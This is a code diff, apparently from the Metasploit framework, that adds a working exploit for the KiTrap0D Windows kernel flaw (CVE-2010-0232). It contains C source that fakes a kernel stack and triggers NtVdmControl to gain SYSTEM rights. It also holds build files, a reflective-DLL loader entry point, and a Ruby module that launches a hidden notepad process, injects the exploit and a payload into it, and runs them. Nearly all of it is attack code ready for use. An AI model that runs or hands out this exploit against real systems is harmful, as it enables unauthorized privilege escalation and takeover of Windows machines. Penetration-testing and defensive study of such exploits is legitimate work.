if (pNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV');
|
||||
}
|
||||
|
||||
// Finalise the initialisation.
|
||||
if (pNtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC');
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
|
||||
} while (0);
|
||||
|
||||
ExitThread(dwResult);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief CVE-2010-0232 implementation.
|
||||
*/
|
||||
VOID elevator_kitrap0d(DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
FARPROC pNtVdmControl = NULL;
|
||||
HMODULE hNtdll = NULL;
|
||||
DWORD dwKernelStack[KSTACKSIZE] = { 0 };
|
||||
VDMTIB VdmTib = { 0 };
|
||||
DWORD dwMinimumExpectedVdmTibSize = 0x200;
|
||||
DWORD dwMaximumExpectedVdmTibSize = 0x800;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf("[KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset);
|
||||
|
||||
memset(&VdmTib, 0, sizeof(VDMTIB));
|
||||
memset(&dwKernelStack, 0, KSTACKSIZE * sizeof(DWORD));
|
||||
|
||||
// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
|
||||
// With a buffer full of NULLs, the exploit never finds the right size.
|
||||
// This will require a more work to resolve, for just keep the padding zero'd
|
||||
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if (!hNtdll) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
|
||||
if (!pNtVdmControl) {
|
||||
BREAK_ON_ERROR("[KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed");
|
||||
}
|
||||
|
||||
dwTargetProcessId = dwProcessId;
|
||||
|
||||
// Setup the fake kernel stack, and install a minimal VDM_TIB...
|
||||
lpKernelStackPointer = (DWORD *)&dwKernelStack;
|
||||
dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP
|
||||
dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB
|
||||
dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB
|
||||
dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
|
||||
hKernel = (HMODULE)dwKernelBase;
|
||||
VdmTib.Size = dwMinimumExpectedVdmTibSize;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Initialize the VDM Subsystem...
|
||||
elevator_kitrap0d_initvdmsubsystem();
|
||||
|
||||
VdmTib.Size = dwMinimumExpectedVdmTibSize;
|
||||
VdmTib.VdmContext.SegCs = 0x0B;
|
||||
VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack;
|
||||
VdmTib.VdmContext.Eip = dwKernelBase + dwOffset;
|
||||
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||
|
||||
// Allow thread initialization to complete. Without is, there is a chance
|
||||
// of a race in KiThreadInitialize's call to SwapContext
|
||||
Sleep(1000);
|
||||
|
||||
// Trigger the vulnerable code via NtVdmControl()...
|
||||
while (VdmTib.Size++ < dwMaximumExpectedVdmTibSize) {
|
||||
pNtVdmControl(VdmStartExecution, NULL);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
// Unable to find correct VdmTib size.
|
||||
ExitThread('VTIB');
|
||||
}
|
||||
|
||||
#endif
|
|
@ -0,0 +1,34 @@
|
|||
/*!
|
||||
* @file kitrap0d.h
|
||||
*/
|
||||
|
||||
#ifndef _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
|
||||
#define _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
|
||||
|
||||
#define KSTACKSIZE 1024
|
||||
|
||||
#define EFLAGS_TF_MASK 0x00000100 // trap flag
|
||||
|
||||
#ifndef PAGE_SIZE
|
||||
#define PAGE_SIZE 0x1000
|
||||
#endif
|
||||
|
||||
enum
|
||||
{
|
||||
VdmStartExecution = 0,
|
||||
VdmInitialize = 3
|
||||
};
|
||||
|
||||
typedef struct _VDMTIB
|
||||
{
|
||||
ULONG Size;
|
||||
PVOID Padding0;
|
||||
PVOID Padding1;
|
||||
CONTEXT Padding2;
|
||||
CONTEXT VdmContext;
|
||||
DWORD Padding3[1024];
|
||||
} VDMTIB, * LPVDMTIB;
|
||||
|
||||
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset );
|
||||
|
||||
#endif
|
130
external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj
vendored
Normal file
130
external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj
vendored
Normal file
|
@ -0,0 +1,130 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}</ProjectGuid>
|
||||
<RootNamespace>kitrap0d_payload</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules />
|
||||
<CodeAnalysisRuleAssemblies />
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\kitrap0d_payload.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\kitrap0d_payload.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="kitrap0d.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\common.h" />
|
||||
<ClInclude Include="kitrap0d.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
18
external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj.filters
vendored
Normal file
18
external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj.filters
vendored
Normal file
|
@ -0,0 +1,18 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="kitrap0d.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="kitrap0d.h" />
|
||||
<ClInclude Include="..\common\common.h">
|
||||
<Filter>common</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="common">
|
||||
<UniqueIdentifier>{e7b668e3-c161-49b7-a15a-94b7d6777d01}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,156 @@
|
|||
//
|
||||
// Note: To use the produced x86 dll on NT4 we use a post build event "editbin.exe /OSVERSION:4.0 /SUBSYSTEM:WINDOWS,4.0 elevator.dll"
|
||||
// in order to change the MajorOperatingSystemVersion and MajorSubsystemVersion to 4 instead of 5 as Visual C++ 2008
|
||||
// can't build PE images for NT4 (only 2000 and up). The modified dll will then work on NT4 and up. This does
|
||||
// not apply to the produced x64 dll.
|
||||
//
|
||||
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../common/ReflectiveLoader.c"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include "kitrap0d.h"
|
||||
#include "../common/common.h"
|
||||
|
||||
/*!
|
||||
* @brief Grab a \c DWORD value out of the command line.
|
||||
* @example elevator_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
|
||||
* @param cpCommandLine Command line string
|
||||
* @param cpCommand The command to look for to get the associated \c int from.
|
||||
* @returns The \c int value associated with the \c cpCommand.
|
||||
*/
|
||||
DWORD elevator_command_dword(char * cpCommandLine, char * cpCommand)
|
||||
{
|
||||
char * cpString = NULL;
|
||||
DWORD dwResult = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if (!cpCommandLine || !cpCommand) {
|
||||
break;
|
||||
}
|
||||
|
||||
cpString = strstr(cpCommandLine, cpCommand);
|
||||
if (!cpString) {
|
||||
break;
|
||||
}
|
||||
|
||||
cpString += strlen(cpCommand);
|
||||
|
||||
dwResult = strtoul(cpString, NULL, 0);
|
||||
|
||||
} while (0);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Grab an \c int value out of the command line.
|
||||
* @example elevator_command_dword( "/FOO:12345 /BAR:54321", "/FOO:" ) == 12345
|
||||
* @param cpCommandLine Command line string
|
||||
* @param cpCommand The command to look for to get the associated \c int from.
|
||||
* @returns The \c int value associated with the \c cpCommand.
|
||||
*/
|
||||
int elevator_command_int(char * cpCommandLine, char * cpCommand)
|
||||
{
|
||||
char * cpString = NULL;
|
||||
int iResult = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if (!cpCommandLine || !cpCommand) {
|
||||
break;
|
||||
}
|
||||
|
||||
cpString = strstr(cpCommandLine, cpCommand);
|
||||
if (!cpString) {
|
||||
break;
|
||||
}
|
||||
|
||||
cpString += strlen(cpCommand);
|
||||
|
||||
iResult = atoi(cpString);
|
||||
|
||||
} while (0);
|
||||
|
||||
return iResult;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief The real entrypoint for this app.
|
||||
* @param cpCommandLine Pointer to the command line.
|
||||
*/
|
||||
VOID elevator_main(char * cpCommandLine)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf("[KITRAP0D] elevator_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine);
|
||||
|
||||
if (!cpCommandLine) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (strlen(cpCommandLine) == 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[KITRAP0D] elevator_main. lpCmdLine=%s", cpCommandLine);
|
||||
|
||||
DWORD dwProcessId = 0;
|
||||
DWORD dwKernelBase = 0;
|
||||
DWORD dwOffset = 0;
|
||||
|
||||
dwProcessId = elevator_command_dword(cpCommandLine, "/VDM_TARGET_PID:");
|
||||
dwKernelBase = elevator_command_dword(cpCommandLine, "/VDM_TARGET_KRN:");
|
||||
dwOffset = elevator_command_dword(cpCommandLine, "/VDM_TARGET_OFF:");
|
||||
|
||||
if (!dwProcessId || !dwKernelBase) {
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[KITRAP0D] Invoking exploit");
|
||||
elevator_kitrap0d(dwProcessId, dwKernelBase, dwOffset);
|
||||
|
||||
// ...we should never return here...
|
||||
dprintf("[KITRAP0D] This shouldn't happen");
|
||||
} while (0);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief rundll32.exe entry point.
|
||||
* @todo Remove this?
|
||||
*/
|
||||
VOID DLLEXPORT CALLBACK a(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int nCmdShow)
|
||||
{
|
||||
elevator_main(lpszCmdLine);
|
||||
|
||||
ExitProcess(ERROR_SUCCESS);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief DLL entry point.
|
||||
* @remark If we have been injected via RDI, lpReserved will be our command line.
|
||||
*/
|
||||
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hInstance;
|
||||
if (lpReserved != NULL) {
|
||||
elevator_main((char *)lpReserved);
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return bReturnValue;
|
||||
}
|
|
@ -22,13 +22,11 @@ class Console::CommandDispatcher::Priv::Elevate
|
|||
ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1
|
||||
ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2
|
||||
ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3
|
||||
ELEVATE_TECHNIQUE_VULN_KITRAP0D = 4
|
||||
|
||||
ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available",
|
||||
"Service - Named Pipe Impersonation (In Memory/Admin)",
|
||||
"Service - Named Pipe Impersonation (Dropper/Admin)",
|
||||
"Service - Token Duplication (In Memory/Admin)",
|
||||
"Exploit - KiTrap0D (In Memory/User)"
|
||||
"Service - Token Duplication (In Memory/Admin)"
|
||||
]
|
||||
#
|
||||
# List of supported commands.
|
||||
|
|
|
@ -0,0 +1,124 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/exe'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Post::File
|
||||
include Post::Windows::Priv
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows SYSTEM escalation via KiTrap0D',
|
||||
'Description' => %q{
|
||||
This module will create a new session with SYSTEM privileges via the
|
||||
KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already
|
||||
elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
|
||||
and is not supported on x64 editions of Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Tavis Ormandy', # Original resesarcher and exploit creator
|
||||
'HD Moore', # Port of Tavis' code to meterpreter module
|
||||
'Pusscat', # Port of Tavis' code to meterpreter module
|
||||
'OJ Reeves' # Port of meterpreter code to a windows local exploit
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'CVE', '2010-0232' ],
|
||||
[ 'OSVDB', '61854' ],
|
||||
[ 'MSB', 'MS10-015' ],
|
||||
[ 'EDB', '11199' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Jan/341' ]
|
||||
],
|
||||
'DisclosureDate'=> "Jan 19 2010"
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
# Validate platform architecture
|
||||
if sysinfo["Architecture"] =~ /x64|WOW64/i
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# Validate OS version
|
||||
winver = sysinfo["OS"]
|
||||
unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
end
|
||||
|
||||
dll = ''
|
||||
offset = nil
|
||||
|
||||
print_status("Launching notepad to host the exploit...")
|
||||
cmd = "notepad.exe"
|
||||
opts = {'Hidden' => true}
|
||||
process = client.sys.process.execute(cmd, nil, opts)
|
||||
pid = process.pid
|
||||
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
print_good("Process #{pid} launched.")
|
||||
|
||||
print_status("Reflectively injecting the exploit DLL into #{pid}...")
|
||||
library_path = ::File.join(Msf::Config.data_directory, "exploits",
|
||||
"CVE-2010-0232", "kitrap0d.x86.dll")
|
||||
library_path = ::File.expand_path(library_path)
|
||||
::File.open(library_path, 'rb') { |f| dll = f.read }
|
||||
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
|
||||
pe.exports.entries.each do |e|
|
||||
if e.name =~ /^\S*ReflectiveLoader\S*/
|
||||
offset = pe.rva_to_file_offset(e.rva)
|
||||
break
|
||||
end
|
||||
end
|
||||
# Inject the exloit, but don't run it yet.
|
||||
exploit_mem = inject_into_pid(dll, host_process)
|
||||
|
||||
print_status("Exploit injected. Injecting payload into #{pid}...")
|
||||
# Inject the payload into the process so that it's runnable by the exploit.
|
||||
payload_mem = inject_into_pid(payload.encoded, host_process)
|
||||
|
||||
print_status("Payload injected. Executing exploit...")
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
# we want invoked on successful exploitation.
|
||||
host_process.thread.create(exploit_mem + offset, payload_mem)
|
||||
|
||||
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def inject_into_pid(payload, process)
|
||||
payload_size = payload.length
|
||||
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
|
||||
payload_mem = process.memory.allocate(payload_size)
|
||||
process.memory.protect(payload_mem)
|
||||
process.memory.write(payload_mem, payload)
|
||||
return payload_mem
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue